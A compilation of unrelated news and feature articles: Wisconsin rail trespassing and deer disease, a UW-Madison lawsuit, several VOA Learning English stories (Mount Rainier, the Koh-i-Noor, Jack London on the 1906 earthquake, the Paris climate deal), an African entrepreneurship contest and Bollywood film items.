But a private crossing can cost $30,000 to $50,000, Wadhwa said, and public grade crossings can cost more than $500,000.

Many at the meeting dismissed the crossings compromise, calling instead for education campaigns on safe crossing.

Ray Heidel of Onalaska said he fears the access points would be too far apart, while the railroads continue denying residents constitutionally guaranteed rights to hunt and fish on public lands.

Others noted the law is unlikely to deter inebriated and suicidal people who account for the majority of trespasser casualties.

The only folks who will likely obey the laws are hunters, fishers and trappers, said Mike Widner of Boscobel.

Widner, wearing a T-shirt with the words Got Muskrat? said the problem is not only on the Mississippi River, noting he now needs a boat to legally access hundreds of acres along the Wisconsin River because of tracks.

Met with resistance from railroads, unions and law enforcement groups, legislative efforts to roll back the trespassing law have failed twice in the past 12 months. One bill passed the Assembly but died in the Senate; another was vetoed by Gov. Scott Walker.

The commissioners office has jurisdiction over crossings but little else. Wisconsin law grants railroads police powers, and regulation of their operations falls to the Federal Railroad Administration.

Calling it a giant corporation with deep tentacles in Washington, La Crosse resident Richard Pein complained the railroad has too much power.

It doesnt matter what the issue is, he said. Theyre going to do whatever they can get away with. The state is unable to do anything.

More than half a dozen people at a meeting in Stoddard said they had received trespassing warnings from BNSF officers since the railroad began what it calls a public safety education campaign last year along its Wisconsin line.

Vernon County Sheriff John Spears asked if the officers were polite and courteous.

No, was the collective answer.

Spears, among those calling for a compromise, assured the crowd that his deputies were not enforcing the law.

If anybody gets arrested, theyre not spending a night in my jail. Thats for sure, he said to thunderous applause.

Some questioned why BNSF only began enforcing the law last year.

Stoddard Village President Kevin Gobel said the enforcement campaign started soon after rail safety groups and the village complained about the condition of BNSFs bridges.

Gobel said two words come to mind: Intimidation or retaliation.
MADISON  The daughter of a jogger killed in a drunken crash is suing a University of Wisconsin-Madison adviser who counseled her, alleging that he never told her he had texted with the driver who hit her mother before the crash and used their relationship to learn about the case.

The lawsuit alleges adviser Tori Richardson was texting with Lutheran Bishop Bruce Burnside before Burnside struck and killed Maureen Mengelt in April 2013. The lawsuit, filed April 5, contends Richardson offered to counsel Mengelt's daughter Megan four days after the crash in an attempt to gain information about Burnside's prosecution, the Wisconsin State Journal reported.

The lawsuit alleges Richardson, the assistant dean of UW-Madison's College of Letters and Sciences, didn't tell Megan Mengelt in his email after the crash that he'd been texting with Burnside. The two developed a counseling relationship, which Richardson used to glean information about Burnside's prosecution and a potential civil lawsuit against him.

She didn't learn of the texting until January 2015, causing her "severe and permanent emotional distress," according to the lawsuit.

Burnside was bishop of the South-Central Synod of Wisconsin of the Evangelical Lutheran Church of America and was on his way to a sermon when he struck Maureen Mengelt in Sun Prairie. He pleaded guilty in May 2014 to second-degree reckless homicide and drunken driving and was sentenced to 10 years in prison.

After the criminal case wrapped up, the Mengelt family sued Burnside, the ELCA, the synod and their insurers. That case is still pending.

In a deposition related to that lawsuit, Richardson testified that he had met Burnside days before the crash at a birthday party. During the text exchange, Richardson scolded Burnside for texting while driving.

Richardson said during the deposition that he asked his boss, Letters and Science undergraduate services director Christopher Lee, whether it would be appropriate for him to reach out to Megan Mengelt. He didn't tell Lee or Mengelt that he had been texting with Burnside before the crash and never considered the emotional consequences for Megan Mengelt if she found out.

UW spokesman John Lucas told the newspaper that university officials first learned of some of the allegations in Megan Menglet's lawsuit late last year. An outside investigator found no evidence that Richardson inappropriately shared student records but he was still suspended for 30 days without pay for failing to meet professional standards.

Burnside testified during the deposition that Richardson visited him several times after the crash but barely mentioned the Mengelts or any information he had learned from Megan Mengelt.

A spokesman for the state Justice Department, which is representing Richardson, didn't respond to a message.
MADISON  Republican Gov. Scott Walker is considering Democrats calls to launch another attempt to aggressively kill deer in hopes of containing chronic wasting disease after infection rates hit an all-time high last year, his office said Thursday.

The governors chief-of-staff, Rich Zipperer, met with Democratic state Reps. Chris Danou and Nick Milroy on Wednesday to feel out their new CWD plans, which include culling herds around new infection sites and adopting Illinois herd-thinning plan. Evenson said in an email to The Associated Press that Walkers staff is evaluating the proposals and will consult with the Department of Natural Resources.

If the measures are viewed by experts as effective steps, we look forward to adding them to our ongoing efforts, Evenson said.

The DNR tried to aggressively kill off deer after CWD was discovered near Mount Horeb in 2002, employing sharpshooters and asking hunters to kill as many deer as possible. The tactic devolved into a public relations nightmare: Hunters and landowners refused to get on board, calling herd reduction unattainable and a waste of deer.

After spending millions of dollars on the eradication effort, the DNR backed off in 2010 and adopted a new 15-year plan. That strategy emphasizes monitoring for the disease. If new areas of infection appear far from known clusters, the agency could respond with sharpshooters and expanding hunting opportunities to reduce the local herd.

The DNRs board directed the agency in December to review the plan and report back by the end of the year. Last month, DNR officials announced that 9.4 percent of the 3,133 deer tested last year were infected  the highest prevalence rate since the disease was discovered in Wisconsin and up from 6 percent the previous year.

Numerous hunters and outdoor lovers submitted comments to their county deer advisory councils as part of the panels annual public surveys last week chastising the DNR, legislators and the Walker administration for not doing more to stop the disease.

Danou and Milroy said their plan includes requiring double-fencing captive deer farms, studying whether lures made out of deer urine or other bodily fluids contain CWD prions, the proteins believed to carry the disease, and analyzing other states baiting and feeding policies. They also proposed intensive herd thinning around new infection sites, restoring DNR science positions Republicans cut in the state budget and adopting Illinois strategy of killing as many deer as possible in infected areas.

Illinois discovered CWD in 2002, the same year as Wisconsin, but has stuck with a culling plan that uses sharpshooters and expanded hunting seasons. Its infection rate is 1 percent. The Wisconsin DNRs existing 15-year plan calls for collaborating with Illinois on mutually beneficial management methods.

State Rep. Al Ott, a Forest Junction Republican who chairs the state Assemblys sporting heritage committee, recalled during a telephone interview how angry sportsmen were over thinning the herd a decade ago. He suggested Danou and Milroys complaints were calculated to score political points in an election year.

Sen. Tom Tiffany, a Hazelhurst Republican who leads the state Senates sporting heritage committee, said hed look at anybodys proposals but he believes northern Wisconsin hunters are more worried about predators than CWD. He said hed be hesitant to spend more money on herd thinning since it didnt work in the past.
Now that funding, or lack of funding, for our universities is back in the news, perhaps it is time to take a rational look at some of the facts.

If my numbers are right, the taxpayers of the state of Wisconsin fund 13 four-year universities, 13 two-year colleges and 16 technical colleges that have 47 campuses. Iowa has only three public universities and only 16 two-year and technical colleges.

You say Im comparing apples to oranges and you might be right.

We have about 5.7 million people while Iowa has only 3 million. So how do we compare to Minnesota?

They are very close with about 5.4 million people. Minnesota has seven universities. (Remember, we are paying for 13) and 24 colleges and tech schools. (Wisconsin has 29. If you count campuses, we have 73).

Could it be that we are paying for a Rolls-Royce system when we could get by with a Cadillac? Do we really need an expensive educational facility about every 20 feet? Do we really need the University of Wisconsin-Superior when the University of Minnesota-Duluth is a 9-iron shot away? And do taxpayers need the expense that goes with offering almost every major at every facility? There was a time when each university offered and was known for specific areas of expertise.

I know there is no chance that the politicians would ever have the backbone to take on this issue, but it seems like some in the UW System might. The recent move by the two-year colleges to move to regional governance (read cheaper and more efficient) is a move we all should applaud. There is even some talk about combining parts of the technical schools with the two-year schools.

So how about this: The politicians cut the system loose, tell the Board of Regents Here is how much money we can afford.

And let them do the tough job of selecting which facilities need to go. Not a fun job and not one that will win anyone a popularity contest. Still, I hope they could design a system that would give our kids a great education at a price we could afford.
The La Crosse Board of Park Commissioners approved a plan Thursday to pay a consultant to evaluate Memorial Pool, which was also added to the La Crosse landmark registry at Thursdays Heritage Preservation Commission meeting.

Parks and Recreation Director Steve Carlyon presented an agreement to pay the Platteville, Wis.-based Burbach Aquatics Inc. $17,000 to provide a structural analysis and feasibility study of the pool, as part of a two-phased project.

The details of the phases werent available Thursday; however, Carlyon said the public would have at least three opportunities to provide feedback during the process, including a public input meeting in May.

Carlyon said the company would answer two main questions on the pools operations: the status of the pools filtration system and why the pool is leaking 7,500 gallons of water per day.

This company will come in and do the detailed work to determine where those issues occur, he said.

Carlyon hopes to get some numbers together to get the pool improvements in the 2017 capital improvement budget. The study will also give the city its options when it comes to whether to renovate, repair or replace the pool within the Grandview Emerson neighborhood. It could also propose options previously not considered.

I think were all in agreement: we want a pool, Carlyon said.

Under a resolution to go before the Judiciary and Administration Committee May 3, the city would close the pool for the 2016 season and request funds from the 2017 capital improvements budget to pay for Burbachs study. The final decision will be made by the La Crosse Common Council May 12.

Jacob Sciammas, co-chair of the Grandview Emerson Neighborhood Association and founder of the Save Memorial Pool organization, spoke out in favor of opening the pool this year and requesting bids on the feasibility study.

I think its important at this step to have your study be as independent as possible, because, as you said, you want your options to be as open as possible, he said.

Sciammas gathered more than 600 signatures from around La Crosse of people opposed to the pool closing permanently, which he said is a danger if the pool closes this year.

What weve found is that pools that close, generally close for good, Sciammas said.

With the ability to swim laps and dedication to swimming, Memorial Pool is unique when compared to the citys other pools, he added.

This one has a slightly different purpose, as well as this very specific historical aspect, Sciammas said.

The La Crosse Heritage Preservation Commission found that the pool met the criteria to be considered a historical structure at its Thursday meeting, adding it to the local registry.

The pool was built using a Progress Works Administration program that was part of President Franklin Roosevelts New Deal. According to Wisconsin State Historical Societys Architectural Historical Inventory, there are 28 pools in the state that are considered historically significant, eight of which are publicly owned. Most were built in the 1960s, and four were built before World War II.

Memorial Pool is unusual in that it hasnt seen any major renovations since it was built. While the city maintains the pool and has performed $100,000 in repairs in the past five years, there have been no major changes to the structure.

Carlyon warned the board that approving the historic status would limit what the city could do with the pool, especially if it tried to change the footprint of the structure.

It changes the dynamic of whatever we do, Carylon said. Im not opposed to it or in favor of it.

Park board member Marvin Wanders said he didnt think it was practical to add the pool to the registry before the study was finalized and the city had its options on the table.

I dont think its prudent to put restrictions on that pool until we know what path we want to go down, Wanders said.

Coulee Region Environmental LLC found asbestos in the pliable rope pipe insulation in the basement and lead in the paint on the interior basement walls, according a report received by the park board Thursday. The consultant was unable to test the roofing materials, electrical service panels and overhead light fixture insulation for asbestos, but said the city needed to presume there would be asbestos present.
Biddeford-Saco-OOB Courier

The board earmarked $1.54 million in federal American Rescue Plan Act funds for the dredge, designed to keep channels open and supply sand to nourish eroding beaches up and down the York County coast and beyond.


This week on our National Parks journey, we travel to Americas mountainous Pacific Northwest. We are exploring Mount Rainier National Park in Washington state.

The mountain in Washington rises more than 4,300 meters above sea level. It is one of Americas most glacier-filled peaks. Snow covers the top of the mountain year-round. Its glacial meltwater forms six major rivers.

The Native Americans who lived in the northwest called the great mountain Takhoma. One tribe said it was a monster that would eat people. Other old stories among Native Americans said the mountain could produce great amounts of fire.

In 1792, British explorer George Vancouver became the first European to see the mountain. He named it after a navy friend, Captain Peter Rainier.

Today the people who live in the northwestern city of Seattle simply call it The Mountain. Mount Rainier is almost 100 kilometers outside of Seattle. Yet it can be seen from almost any place in the city.

Mount Rainier is not just a mountain. It is a sleeping volcano. Steam and heat often rise from the very top of the mountain, causing some of the snow to melt. More than 25 thick glaciers cover part of the top of the mountain.

Mount Rainier has long been a popular place to visit. Many people go to enjoy the beautiful and peaceful forests that surround the mountain.Others try to climb to the top of the great mountain.

Hazard Stevens and Philemon VanTrump became the first people known to reach the top of Mount Rainier. They reached the top in August of 1870 after a 10-hour climb through the snow.

In 1890, a young schoolteacher became the first woman to reach the top of Mount Rainier. Her name was Fay Fuller. For many years after her successful climb, she wrote newspaper stories asking the federal government to make Mount Rainier a national park. Many people who visited the mountain also wanted its environment to be protected by the federal government.

In March of 1899, President William McKinley signed a law that made Mount Rainier a national park. It was the fifth national park established in the United States.

Today, about 10,000 people try to climb to the top of Mount Rainier every year. The mountain is extremely difficult to climb. The National Park Service says only about half of the climbers successfully reach the top. Snow and ice cover parts of the mountain year-round. Severe weather is possible at any time. Many people have died trying to climb Mount Rainier.

Experienced mountain climbers often use it as a difficult test for people who want to climb extremely tall mountains around the world.

But, you do not have to be an experienced mountain climber to enjoy Mount Rainier National Park. More than one million people visit the park each year.

Many enjoy hiking along the hundreds of kilometers of paths. The paths lead through flat meadows filled with wildflowers and up through forests of large old trees.

Other visitors drive around the park to experience its natural beauty. They often see black tailed deer, elk, and mountain goats.

The large park is almost 100,000 hectares. Many lakes, rivers, roads, hotels and camping areas are within the park.

Experts believe that Mount Rainier could become a much more active volcano sometime in the near future. They say the real problem is that they do not know exactly when that could happen.

Experts also agree that the great heat produced by a volcanic explosion would melt the rivers of ice that are part of the mountain. This melting could happen in a matter of minutes. The melting ice would then produce flowing rivers of mud and rock. That would put people who live in the southern part of Seattle and in the nearby city of Tacoma in danger.

These experts carefully study the conditions at Mount Rainier. They hope to be able to warn people of any dangerous change.

But for now, the great mountain provides a safe and enjoyable place to visit in Americas beautiful Pacific Northwest.

I'm Ashley Thompson.

And I'm Caty Weaver.

Ashley Thompson adapted this report from material in the VOA Learning English archives. Hai Do was the editor.

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Words in This Story

glacier - n. a very large area of ice that moves slowly down a slope or valley or over a wide area of land

peak - n. the pointed top of a mountain

explorer - n. a person who travels over or through (a place) in order to learn more about it or to find something

monster - n. a strange or horrible imaginary creature
The European Union is considering a proposal to offer visa-free travel to Ukrainians.

If approved, the plan would permit Ukrainians to travel for up to 90 days throughout the European Union's 28 member states.

The EU Migration Commissioner, Dimitris Avramopoulos, said Wednesday that the Ukrainian government has made successful judicial and security reforms. These include improved efforts against organized crime and better border security, The Wall Street Journal reports.

Last December, the EU Migration Commission announced that Ukraine had met its goals listed under the EU Visa Liberalization Action Plan.

The proposal now needs approval from the European Parliament and EU member states. If approved, Ukraine would be added to the list of countries whose citizens can travel in the EU without a visa.

The Commission stressed that the measure did not give Ukrainians the right to live or work in the EU.

Also on Wednesday, Avramopoulos noted that Turkey has made progress in controlling the flow of migrants. He promised to propose visa-travel for Turks early next month if Turkey meets other requirements listed in the European Union action plan.

Im Dorothy Gundy.

This story was based on reporting from VOANews.com and other sources. Ashley Thompson adapted the report for VOA Learning English. Mario Ritter was the editor.

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Words in This Story

throughout - adv. in or to every part of; from the beginning to the end

migration - adj. of or relating to the movement from one country or place to another

commissioner - n. a member of a commission; an official who is responsible for a government office or part of a government agency
The Indian government has launched an effort to recover a priceless diamond from Britain.

The Koh-i-Noor diamond was given to Britains Queen Victoria as a present in 1850, when India was a British colony. The diamond is now kept as part of the Crown Jewels in the Tower of London.

Ownership of the Koh-i-Noor was the subject of a hearing this week in Indias highest court.

Solicitor General Ranjit Kumar told the Supreme Court Monday that the diamond belonged to Great Britain. It was given to the British as compensation for help in the Sikh Wars, he said. The Koh-i-Noor is not a stolen object.

His comments shocked many Indians.

In a written statement, Indias Ministry of Culture said the government does not agree with Kumars position. The statement said the government would like to bring back the diamond in what it called an amicable manner.

Media reports say India, Pakistan, Iran and Afghanistan have each tried to claim ownership of the Koh-i-noor. In recent years, the four nations have demanded its return from Britain.

The mother of Queen Elizabeth II wore the diamond in her crown prior to her death in 2002.

The name Koh-i-Noor means "Mountain of Light" in Persian. Several media sources reported the diamond to be worth as much as $200 million.

Im Anna Matteo.

VOANews.com reported on this story. Jim Dresbach adapted the report for Learning English. George Grow was the editor.

We want to hear from you. Write to us in the Comments Section or visit our Facebook page.

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Words in This Story

compensation  n. payment

amicable  adj. showing a polite and friendly desire to avoid disagreement and argument

manner  n. a way in which something is done

crown  n. an object shaped like a circle that is worn on the head of a king or queen


A top U.S. military official said North Korea will one day have nuclear-armed missiles capable of reaching all its enemies.

U.S. Army General Vincent Brooks is the commander of the U.S. Pacific Command. He told members of Congress the North Koreans are working to improve their nuclear missile program.

Brooks told the Senate Armed Services Committee, Over time, I believe we are going to see them acquire [ICBM] capabilities if they are not stopped

ICBM stands for intercontinental ballistic missile. These missiles can be fired from one continent and land on another.

Brooks did not say when the North Koreans would be able to launch long-range nuclear missiles.

U.S. Senator John McCain asked Brooks about the immaturity and unpredictability of North Korean leader Kim Jong Un. The general said Kim does not like taking advice from top military officials.

Brooks also told lawmakers there is some evidence North Korea is getting help from Iran. He said that was very dangerous for the world, very dangerous for the region.

General Brooks has been nominated by U.S. Secretary of Defense Ash Carter to lead the U.S. military in South Korea.

Im Marsha James.

Jeff Seldin wrote this story for VOA News. Jim Dresbach adapted this story for Learning English and VOANews.com. Hai Do was the editor.

We want to hear from you. Write to us in the Comments Section or visit our Facebook page.

_____________________________________________________________

Words in This Story

ICBM  n. a type of missile that can fly from one continent to another

immaturity  adj. having or showing a lack of emotional maturity

unpredictability  n. not capable of being known before happening or being done




The western American city of San Francisco, California suffered a huge earthquake on April 18th, 1906.

More than three thousand people are known to have died. The true number of dead will never be known. Two hundred fifty thousand people lost their homes. Just a few hours after the terrible earthquake, a magazine named Colliers sent a telegraph message to the famous American writer Jack London. They asked Mr. London to go to San Francisco and report about what he saw.

He arrived in the city only a few hours after the earthquake. The report he wrote is called, The Story of an Eyewitness.

Not in history has a modern city been so completely destroyed. San Francisco is gone. Nothing remains of it but memories and a few homes that were near the edge of the city. Its industrial area is gone. Its business area is gone. Its social and living areas are gone. The factories, great stores and newspaper buildings, the hotels and the huge homes of the very rich, are all gone.

Within minutes of the earthquake the fires began. Within an hour a huge tower of smoke caused by the fires could be seen a hundred miles away. And for three days and nights this huge fire moved in the sky, reddening the sun, darkening the day and filling the land with smoke.

There was no opposing the flames. There was no organization, no communication. The earthquake had smashed all of the modern inventions of a twentieth century city. The streets were broken and filled with pieces of fallen walls. The telephone and telegraph systems were broken. And the great water pipes had burst. All inventions and safety plans of man had been destroyed by thirty seconds of movement by the earth.

By Wednesday afternoon, only twelve hours after the earthquake, half the heart of the city was gone. I watched the huge fire. It was very calm. There was no wind. Yet from every side, wind was pouring in upon the city. East, west, north and south, strong winds were blowing upon the dying city.

The heated air made a huge wind that pulled air into the fire, rising into the atmosphere. Day and night the calm continued, and yet, near the flames, the wind was often as strong as a storm.

There was no water to fight the fire. Fire fighters decided to use explosives to destroy buildings in its path. They hoped this would create a block to slow or stop the fire. Building after building was destroyed. And still the great fires continued. Jack London told how people tried to save some of their possessions from the fire.

Wednesday night the whole city crashed and roared into ruin, yet the city was quiet. There were no crowds. There was no shouting and yelling. There was no disorder. I passed Wednesday night in the path of the fire and in all those terrible hours I saw not one woman who cried, not one man who was excited, not one person who caused trouble.

Throughout the night, tens of thousands of homeless ones fled the fire. Some were wrapped in blankets. Others carried bedding and dear household treasures.

Many of the poor left their homes with everything they could carry. Many of their loads were extremely heavy. Throughout the night they dropped items they could no longer hold. They left on the street clothing and treasures they had carried for miles.

Many carried large boxes called trunks. They held onto these the longest. It was a hard night and the hills of San Francisco are steep. And up these hills, mile after mile, were the trunks dragged. Many a strong man broke his heart that night.

Before the march of the fire were soldiers. Their job was to keep the people moving away from the fire. The extremely tired people would arise and struggle up the steep hills, pausing from weakness every five or ten feet. Often, after reaching the top of a heart-breaking hill, they would find the fire was moving at them from a different direction.

After working hour after hour through the night to save part of their lives, thousands were forced to leave their trunks and flee.

At night I walked down through the very heart of the city. I walked through mile after mile of beautiful buildings. Here was no fire. All was in perfect order. The police patrolled the streets. And yet it was all doomed, all of it. There was no water. The explosives were almost used up. And two huge fires were coming toward this part of the city from different directions.

Four hours later I walked through this same part of the city. Everything still stood as before. And yet there was a change. A rain of ashes was falling. The police had been withdrawn. There were no firemen, no fire engines, and no men using explosives. I stood at the corner of Kearney and Market Streets in the very heart of San Francisco. Nothing could be done. Nothing could be saved. The surrender was complete.

It was impossible to guess where the fire would move next. In the early evening I passed through Union Square. It was packed with refugees. Thousands of them had gone to bed on the grass. Government tents had been set up, food was being cooked and the refugees were lining up for free meals.

Late that night I passed Union Square again. Three sides of the Square were in flames. The Square, with mountains of trunks, was deserted. The troops, refugees and all had retreated.

The next morning I sat in front of a home on San Franciscos famous Nob Hill. With me sat Japanese, Italians, Chinese and Negroes. All about were the huge homes of the very rich. To the east and south of us were advancing two huge walls of fire.

I went inside one house and talked to the owner. He smiled and said the earthquake had destroyed everything he owned. All he had left was his beautiful house. He looked at me and said, The fire will be here in fifteen minutes.

Outside the house the troops were falling back and forcing the refugees ahead of them. From every side came the roaring of flames, the crashing of walls and the sound of explosives.

Day was trying to dawn through the heavy smoke. A sickly light was creeping over the face of things. When the sun broke through the smoke it was blood-red and small. The smoke changed color from red to rose to purple.

I walked past the broken dome of the City Hall building. This part of the city was already a waste of smoking ruins. Here and there through the smoke came a few men and women. It was like the meeting of a few survivors the day after the world ended.

The huge fires continued to burn on. Nothing could stop them. Mister London walked from place to place in the city, watching the huge fires destroy the city. Nothing could be done to halt the firestorm.

In the end, the fire went out by itself because there was nothing left to burn. Jack London finishes his story:

All day Thursday and all Thursday night, all day Friday and Friday night, the flames raged on. Friday night saw the huge fires finally conquered, but not before the fires had swept three-quarters of a mile of docks and store houses at the waterfront.

San Francisco at the present time is like the center of a volcano. Around this volcano are tens of thousands of refugees. All the surrounding cities and towns are jammed with the homeless ones. The refugees were carried free by the railroads to any place they wished to go. It is said that more than one hundred thousand people have left the peninsula on which San Francisco stood.

The government has control of the situation, and thanks to the immediate relief given by the whole United States, there is no lack of food. The bankers and businessmen have already begun making the necessary plans to rebuild this once beautiful city of San Francisco.

"The Story of an Eyewitness" was written by Jack London and adapted by Paul Thompson. It was published in Colliers Magazine, May 5, 1906. Your narrator was Doug Johnson.

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Words in This Story

smash - v. to break into many pieces; to shatter or destroy

atmosphere - n. the whole mass of air that surrounds the Earth

surrender - v. to agree to stop fighting, hiding, resisting, etc., because you know that you will not win or succeed

retreat - v. to move or go away from a place or situation especially because it is dangerous, unpleasant, etc.

survivor - n. a member of a group who continues to live after other members have died

firestorm - n. a very large fire that destroys everything in its path and produces powerful winds

jammed - v. to fill (a place) completely


Leaders from 130 nations are gathering at the United Nations to sign the historic climate deal reached in Paris last December.

The signing happens on the 46th anniversary of Earth Day. Since 1970, every year people around the world observe the day by doing different activities to clean up the environment.

On April 22, 1970, U.S. Senator Gaylord Nelson organized the first Earth Day with a national teach-in on the environment.

Earth Day Network says 20 million Americans gathered in the streets, parks and meeting halls to demonstrate for a healthy, sustainable environment in large rallies across the country.

This year, more than a billion people will celebrate the day by working for a clean environment.

U.N. Secretary-General Ban Ki-Moon has urged countries to take action to fix climate change.

That is the only way which we can save this one, only, planet Earth.

Island nations are very vulnerable to the stronger storms and rising sea levels brought on by climate change. One example is the Pacific island of Fiji. Super Cyclone Winston crashed into the island nation last February, killing 44 people and causing $1 billion in damage.

Fijis Prime Minister Josaia Bainimarama talked about their fear about the future:

The frequency and intensity of extreme weather events such as Winstons is increasing. And we all have to be fearful about what this meansnot only for ourselves, but for future generations.

It was last December, in Paris, France that world leaders worked out the details for the historic agreement. It limits the rise in global temperatures to well below two degrees Celsius.

It provides a way to reduce greenhouse gas emissions  those include pollution from factories and the burning of fossil fuels like coal. The agreement calls for a way to stop the effects of warming the planet. That includes moving towards using renewable energies, like wind and solar or power from the sun.

Putting the plan into action will take several steps.

First, the 130 leaders gathering in New York Friday will sign the agreement. Then their governments must ratify  or formally approve it-- to put it into action.

Selwin Hart is director of the U.N. Climate Change Support Team.

He says the Paris Agreement must cross two important lines to become enforceable.

First, at least 55 parties to the United Nations Framework Convention on Climate Change must ratify the agreement. And those 55 countries must represent 55 percent of global greenhouse gas emissions.

China and the U.S. are the biggest contributors to the worlds global greenhouse gases. Together, the countries are responsible for about 40 percent of the worlds emissions.

Both the U.S. and China support the agreement. They are pushing for its early adoption by all the nations.

The target date to start the agreement is 2020. That could change. If all the countries ratify it quickly, it could happen this year, or in early 2017.

Im Anne Ball.

Margaret Besheer reported on this story for VOANews.com. Anne Ball adapted this story for Learning English. Hai Do was the editor.

We want to hear from you. Write to us in the Comments Section.

_______________________________________________________

Words in This Story

sustainable - adj. involving methods that do not completely use up or destroy natural resources

vulnerable - adj. easily hurt or harmed physically, mentally, or emotionally

greenhouse gas emissions - n. gases released into the air that cause heat to be trapped and heat the planet

enforceable - adj. to make sure that people do what is required by (a law, rule, etc.)

global - adj. of the whole planet
The 2016 Green Talents competition will address the effects of climate change, pollution and overfishing on the earth's biggest natural resources, the oceans, in line with the German Federal Ministry of Education and Research's Science Year 2016/2017.

These issues, as well as the challenges facing our environment in general, demand international research cooperation.

'Green Talents - International Forum for High Potentials in Sustainable Development' was established in 2009 by the German Federal Ministry of Education and Research to promote the international exchange of innovative green ideas from various fields of research. Every year, the ministry honours 25 young researchers with the Green Talents award, under the patronage of Minister Johanna Wanka.

Since its inception, the award has recognised 157 young researchers and scientists from 46 different countries for their outstanding achievements and contributions to making their communities, countries and societies more sustainable. The award-winners are selected by a jury of renowned German experts and are granted unique access to the countrys research elite.

Visit research facilities

The 2016 Green Talents award includes: an invitation to the fully funded two week Science Forum 2016, consisting of a visit to leading German science and research facilities; individual appointments with German experts of the winners choice; and networking opportunities at the Green Talents Alumni conference, taking place in Berlin on 27 and 28 October 2016; a fully funded research stay of up to three months at an institution of the award-winners choice in 2017; and exclusive access to the Green Talents alumni network.

For more info, go to www.greentalents.de.
Following a rigorous selection process, involving more than 700 applicants from 26 countries across Africa, the top three finalists in the MTN Entrepreneurship Challenge powered by Jumia have been revealed.

The challenge, which aims to boost entrepreneurship and innovation, as well as build a stronger and more sustainable business environment on the continent, kicked off in February, and is a joint initiative between MTN, Jumia and the MTN Solution Space based at the University of Cape Town Graduate School of Business.

Through the entrepreneurship challenge, students were invited to develop a unique digital application or smart solution to address a problem faced in Africa. Applicants heeded the call and hundreds of original ideas covering the areas of E-Commerce Marketplaces, Education Technology, Smart Cities and Solutions, and Health Technology were received.

Over the past few weeks, the ideas were narrowed down, with 11 Live Pitch events taking place from Cameroon to South Africa, to shortlist the top candidates who will eventually pitch their business ideas at the Entrepreneurship Festival in Cape Town in May 2016.

The three finalists are:

Pass.ng (Nigeria)

Pass.ng is a web, desktop and mobile-based CBT examination preparatory and testing platform, with a vision to help candidates excel in all the major Nigerian Examinations and tests.

MedRX (Ghana)

MedRx app is an interactive health platform for all users who have health needs. The app connects users to health personnel from various fields of practice including hospital, pharmacy, laboratory and academia.

Vicoba (Tanzania)

Village Community Banks (Vicoba) are an important instrument of development work, allowing people who do not have access to conventional bank accounts, to access informal investment groups. Vicoba app creates a collaborative platform that includes existing tools for financial and task management in a way that is adapted for the African market.

MTN Solution Space Manager, Sarah-Anne Arnold, congratulated the winners and commented: Universities are resource-rich, highly networked and create opportunities for students to find like-minded co-founders and explore and develop new opportunities together, and are therefore the ideal environments to encourage entrepreneurs. This was shown by the amazing talent that emerged during the incredible week of Live Pitches which took place across campuses in 11 countries, in collaboration with partner universities and sponsors. Congratulations and best of luck to the finalists.

The top two applications from each region were selected for the semi-finals and awarded the opportunity to undertake a short course from GetSmarter in order to build new capabilities in areas such as Search Engine Optimisation or digital marketing.

The finalists will face a panel of experienced business leaders at the Entrepreneurship Festival, where the winning team will be named. The panel includes Jeremy Hodara, co-CEO Africa Internet Group, Professor Walter Baets, Director of the University of Cape Town Graduate School of Business, and Herman Singh, MTN Group Chief Digital Officer.

We are incredibly impressed with the calibre of applicants and the level of innovation shown. We are looking forward to the finals and wish our contenders the best of luck. We are certain that whichever team emerges victorious, it is the continent that will be the biggest winner, as entrepreneurship and locally developed solutions are what will enable the growth and development of this continent, says Singh.

Bankole Cardoso, the Head of Communications at Africa Internet Group added, From the application phase, we were very impressed with the high quality business models and it was not at all easy for the judges to select from so many promising businesses. Over the last week, we have held over 100 live pitches and given young entrepreneurs across the continent a platform to showcase their business ideas and even more importantly, to receive critical feedback from experienced professionals on our judging panels. The gaps in the African entrepreneurship ecosystem are in capital and mentorship so it was great to undergo an exercise like this that will no doubt force them to improve. I now look forward to working closely with these three finalist teams to prepare them for whats to come in Cape Town. It is an incredible opportunity for all of them to propel themselves to the next level.

The winners will be announced at the Entrepreneurship Festival with the top team being awarded the opportunity for incubation at the premises of either MTN Solution Space at the University of Cape Town Graduate School of Business, or at one of nine Jumia offices across the continent. The winner will also win a cash prize of $25,000 towards their start-up and have access to a Facebook Start Programme to the value of $15 000, which includes tools and services needed to build mobile applications.

MTN EC by Jumia in numbers



Collaborated with more than 60 universities in 13 countries in Africa



Received over 700 applications, including 345 videos, from 26 countries in 3 languages - English, French and Arabic



More than 1,000 students applied to the competition



Top categories are E-Commerce Marketplaces, Education Technology, Smart Cities and Health Technology



Organised 11 Live Pitch events from Cameroon to South Africa, in partner universities or Jumia offices



Met more than 250 young entrepreneurs during Live Pitch events all over Africa



Top three countries in number of applications: Nigeria, Ghana and Cameroon




Vidya Balan is all set to play a brothel madam in Begum Jaan, the Hindi remake of a Bengali period film Rajkahini. The film is being set at the backdrop of the Indo-Pak partition.

The original, directed by Srijit Mukherjee, saw popular Bengali actor Rituparna Sengupta playing the title role. Begum Jaan will explore the implication on a brothel which is situated on the border of India and Pakistan. The original was situation around the Bengal partition.

Mukherjee will be making his debut as a director in Bollywood with the remake of his own film. It is being produced by Mahesh Bhatt.

This time it is set at the backdrop of India-Pakistan, Mukherjee told Firstpost.

In the original, apart from Rituparna Sengupta there were other popular Bengali actors playing pivotal roles.

Mukherjee reveals that he is not going to repeat the cast from the original in the Hindi remake. The pre-production is on. We will be able to announce the other cast soon, he added.

Vidya Balan is currently shooting for Sujoy Ghoshs Kahaani 2. Makers of Begum Jaan are waiting for her to finish her shoot before they start.

I think the shooting will start by mid of June, said Mukherjee.
Lets get this out of the way first. Randeep Hooda is hot.

It is worth the price of a ticket just to see him wandering around in sleeveless vests throughout this film. He also takes off his shirt at one point, letting the camera linger on a really really admirable yet not obviously gym-sculpted, over-muscled back. That is a second ticket taken care of.

As it happens, this man  who we first saw in Mira Nairs Monsoon Wedding in 2001  is one of contemporary Indian cinemas most talented, most under-rated actors. It is a mystery why he is not a bigger star.

Hoodas talent and looks are very much in evidence in director Syed Ahmad Afzals Laal Rang. Question is: does the film add up to more than what he has to offer?

Laal Rang revolves around an extremely important subject: corruption in blood banks. It is set in Karnal, Haryana, where Shankar Malik (Hooda) runs a successful blood donation racket. To make his illegal activities easier by becoming a government insider, he enrols in a Medical Lab Technology course at a government hospital.

